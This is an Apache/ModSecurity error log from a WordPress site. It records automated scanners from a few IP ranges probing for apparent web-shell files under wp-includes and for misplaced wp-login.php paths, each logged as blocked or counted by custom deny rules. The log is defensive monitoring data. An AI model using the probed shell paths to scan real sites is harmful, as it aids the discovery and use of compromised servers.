[Fri Nov 21 05:32:22.249988 2025] [:error] [pid 13412:tid 13440] [client 185.251.19.190:56087] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aR-I5n3-knz3ZB6HogG2egAAANc"]
[Fri Nov 21 05:32:26.818381 2025] [:error] [pid 13412:tid 13421] [client 185.251.19.197:63771] [client 185.251.19.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "aR-I6n3-knz3ZB6HogG2jQAAAMQ"]
[Fri Nov 21 05:32:30.030228 2025] [:error] [pid 13326:tid 13359] [client 172.98.32.177:37149] [client 172.98.32.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aR-I7th942-HkDIkOWriBwAAAEE"]
[Fri Nov 21 05:32:37.093702 2025] [:error] [pid 13327:tid 13407] [client 136.144.42.250:45057] [client 136.144.42.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aR-I9fBXf-8B6mFkLeOWkgAAAJY"]
[Fri Nov 21 05:32:39.938125 2025] [:error] [pid 13412:tid 13431] [client 172.98.32.178:30399] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aR-I933-knz3ZB6HogG2rwAAAM4"]
[Fri Nov 21 05:32:42.788913 2025] [:error] [pid 51434:tid 51452] [client 185.251.19.178:21565] [client 185.251.19.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "aR-I-vU96liplEDkw_TpNwAAARA"]
[Fri Nov 21 05:32:43.651019 2025] [:error] [pid 51434:tid 51445] [client 185.251.19.199:37217] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aR-I-_U96liplEDkw_TpOwAAAQk"]
[Fri Nov 21 05:32:44.505386 2025] [:error] [pid 13412:tid 13427] [client 185.251.19.180:33249] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aR-I_H3-knz3ZB6HogG2vwAAAMo"]
[Fri Nov 21 05:32:50.400854 2025] [:error] [pid 51434:tid 51437] [client 136.144.42.246:44805] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "aR-JAvU96liplEDkw_TpTAAAAQE"]
[Fri Nov 21 05:32:51.287966 2025] [:error] [pid 13412:tid 13431] [client 185.251.19.175:57175] [client 185.251.19.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "aR-JA33-knz3ZB6HogG20gAAAM4"]
[Fri Nov 21 05:32:52.152904 2025] [:error] [pid 13326:tid 13380] [client 185.251.19.198:45455] [client 185.251.19.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aR-JBNh942-HkDIkOWriLgAAAFY"]
[Fri Nov 21 05:33:04.655939 2025] [:error] [pid 51434:tid 51457] [client 185.251.19.173:53715] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "aR-JEPU96liplEDkw_TpdwAAARU"]
[Fri Nov 21 05:33:10.290064 2025] [:error] [pid 13325:tid 13348] [client 136.144.42.251:54815] [client 136.144.42.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.42.251, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aR-JFiBUXj9tD75On3Cf3gAAABI"]
[Fri Nov 21 05:33:29.807372 2025] [:error] [pid 13325:tid 13354] [client 136.144.42.251:54815] [client 136.144.42.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aR-JKSBUXj9tD75On3CgBQAAABg"]
[Fri Nov 21 05:33:34.352945 2025] [:error] [pid 51434:tid 51450] [client 185.251.19.194:64789] [client 185.251.19.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.194, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aR-JLvU96liplEDkw_TpogAAAQ4"]
[Fri Nov 21 05:33:37.289075 2025] [:error] [pid 51434:tid 51445] [client 185.251.19.194:64789] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "aR-JMfU96liplEDkw_TppQAAAQk"]
[Fri Nov 21 05:33:50.384989 2025] [:error] [pid 13326:tid 13367] [client 136.144.42.248:64681] [client 136.144.42.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aR-JPth942-HkDIkOWri1AAAAEk"]
[Fri Nov 21 05:34:03.003868 2025] [:error] [pid 13327:tid 13389] [client 185.251.19.179:39929] [client 185.251.19.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aR-JS_BXf-8B6mFkLeOXNwAAAIQ"]
[Fri Nov 21 05:34:07.405323 2025] [:error] [pid 13325:tid 13342] [client 185.251.19.187:64541] [client 185.251.19.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aR-JTyBUXj9tD75On3CgSwAAAAw"]
[Fri Nov 21 05:34:13.070804 2025] [:error] [pid 13327:tid 13403] [client 185.251.19.180:45265] [client 185.251.19.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.180, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aR-JVfBXf-8B6mFkLeOXQQAAAJI"]
[Fri Nov 21 05:34:14.416809 2025] [:error] [pid 13327:tid 13395] [client 185.251.19.180:45265] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aR-JVvBXf-8B6mFkLeOXQgAAAIo"]
[Fri Nov 21 05:34:39.213606 2025] [:error] [pid 51434:tid 51442] [client 185.251.19.199:37493] [client 185.251.19.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aR-Jb_U96liplEDkw_TqIwAAAQY"]
[Fri Nov 21 05:34:45.009182 2025] [:error] [pid 13412:tid 13421] [client 185.251.19.169:56293] [client 185.251.19.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.251.19.169, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aR-JdX3-knz3ZB6HogG38wAAAMQ"]
[Fri Nov 21 05:34:50.529999 2025] [:error] [pid 13412:tid 13433] [client 185.251.19.169:56293] [client 185.251.19.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aR-Jen3-knz3ZB6HogG4AQAAANA"]
[Fri Nov 21 05:34:53.381783 2025] [:error] [pid 13326:tid 13359] [client 185.251.19.193:59641] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "aR-Jfdh942-HkDIkOWrjZwAAAEE"]
[Fri Nov 21 05:34:57.349308 2025] [:error] [pid 13326:tid 13378] [client 185.251.19.164:27907] [client 185.251.19.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aR-Jgdh942-HkDIkOWrjbQAAAFQ"]
[Fri Nov 21 05:35:03.028910 2025] [:error] [pid 13412:tid 13437] [client 185.251.19.180:37375] [client 185.251.19.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aR-Jh33-knz3ZB6HogG4KAAAANQ"]
[Fri Nov 21 05:35:03.889494 2025] [:error] [pid 51434:tid 51446] [client 185.251.19.176:47959] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "aR-Jh_U96liplEDkw_TqXwAAAQo"]
[Fri Nov 21 05:35:12.351043 2025] [:error] [pid 13327:tid 13406] [client 136.144.42.246:22415] [client 136.144.42.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aR-JkPBXf-8B6mFkLeOYEQAAAJU"]
[Fri Nov 21 05:35:15.152424 2025] [:error] [pid 13325:tid 13336] [client 185.251.19.174:42777] [client 185.251.19.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "aR-JkyBUXj9tD75On3CgvQAAAAY"]
[Fri Nov 21 05:35:20.962998 2025] [:error] [pid 13327:tid 13398] [client 172.98.32.176:46333] [client 172.98.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "aR-JmPBXf-8B6mFkLeOYJgAAAI0"]
[Fri Nov 21 05:35:26.493453 2025] [:error] [pid 13327:tid 13398] [client 185.251.19.173:26177] [client 185.251.19.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aR-JnvBXf-8B6mFkLeOYOQAAAI0"]
[Fri Nov 21 05:35:30.748880 2025] [:error] [pid 13412:tid 13441] [client 185.251.19.202:34097] [client 185.251.19.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "aR-Jon3-knz3ZB6HogG4rgAAANg"]
[Fri Nov 21 05:35:36.540503 2025] [:error] [pid 13327:tid 13408] [client 185.251.19.183:30181] [client 185.251.19.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aR-JqPBXf-8B6mFkLeOYSgAAAJc"]
[Fri Nov 21 05:35:47.762845 2025] [:error] [pid 51434:tid 51436] [client 185.251.19.191:51463] [client 185.251.19.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aR-Js_U96liplEDkw_Tq2AAAAQA"]
[Fri Nov 21 05:35:50.176910 2025] [:error] [pid 13327:tid 13398] [client 172.98.32.178:21817] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "aR-JtvBXf-8B6mFkLeOYcQAAAI0"]
[Fri Nov 21 05:35:51.074022 2025] [:error] [pid 13327:tid 13396] [client 185.251.19.189:38217] [client 185.251.19.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aR-Jt_BXf-8B6mFkLeOYdAAAAIs"]
[Fri Nov 21 05:35:51.950611 2025] [:error] [pid 13325:tid 13341] [client 185.251.19.169:40907] [client 185.251.19.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aR-JtyBUXj9tD75On3ChKgAAAAs"]
[Fri Nov 21 05:35:54.820008 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.193:59115] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aR-Jun3-knz3ZB6HogG47QAAAMA"]
[Fri Nov 21 05:35:55.677370 2025] [:error] [pid 51434:tid 51457] [client 185.251.19.192:61995] [client 185.251.19.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "aR-Ju_U96liplEDkw_Tq7gAAARU"]
[Fri Nov 21 05:35:59.916676 2025] [:error] [pid 51434:tid 51448] [client 185.251.19.203:53289] [client 185.251.19.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aR-Jv_U96liplEDkw_Tq9wAAAQw"]
[Fri Nov 21 05:36:00.803009 2025] [:error] [pid 51434:tid 51440] [client 172.98.32.178:33425] [client 172.98.32.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aR-JwPU96liplEDkw_Tq-QAAAQQ"]
[Fri Nov 21 05:36:01.673959 2025] [:error] [pid 13412:tid 13417] [client 185.251.19.181:26311] [client 185.251.19.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aR-JwX3-knz3ZB6HogG49wAAAMA"]
[Fri Nov 21 05:36:02.537684 2025] [:error] [pid 13412:tid 13441] [client 185.251.19.176:59711] [client 185.251.19.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "aR-Jwn3-knz3ZB6HogG4-gAAANg"]
[Fri Nov 21 05:36:05.347385 2025] [:error] [pid 13327:tid 13402] [client 185.251.19.171:47385] [client 185.251.19.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aR-JxfBXf-8B6mFkLeOYngAAAJE"]
[Fri Nov 21 05:36:09.801724 2025] [:error] [pid 13325:tid 13338] [client 185.251.19.188:23249] [client 185.251.19.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "aR-JySBUXj9tD75On3ChXwAAAAg"]
[Fri Nov 21 05:36:16.666376 2025] [:error] [pid 13325:tid 13348] [client 185.251.19.190:26905] [client 185.251.19.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aR-J0CBUXj9tD75On3ChdAAAABI"]
[Fri Nov 21 05:36:28.269708 2025] [:error] [pid 13325:tid 13340] [client 185.251.19.201:32631] [client 185.251.19.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "aR-J3CBUXj9tD75On3ChlgAAAAo"]
[Fri Nov 21 05:36:33.721794 2025] [:error] [pid 13412:tid 13440] [client 185.251.19.194:38269] [client 185.251.19.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aR-J4X3-knz3ZB6HogG50AAAANc"]
[Fri Nov 21 05:36:34.580560 2025] [:error] [pid 13326:tid 13377] [client 136.144.42.250:37159] [client 136.144.42.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aR-J4th942-HkDIkOWrkUgAAAFM"]
[Fri Nov 21 05:36:41.424012 2025] [:error] [pid 13326:tid 13372] [client 185.251.19.193:41571] [client 185.251.19.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aR-J6dh942-HkDIkOWrkWwAAAE4"]
[Fri Nov 21 05:36:47.467877 2025] [proxy_fcgi:error] [pid 13325:tid 13330] [client 185.251.19.177:63391] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:36:47.900920 2025] [proxy_fcgi:error] [pid 13325:tid 13333] [client 185.251.19.177:63391] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 05:36:48.332302 2025] [proxy_fcgi:error] [pid 13325:tid 13342] [client 185.251.19.177:63391] AH01071: Got error 'Primary script unknown'
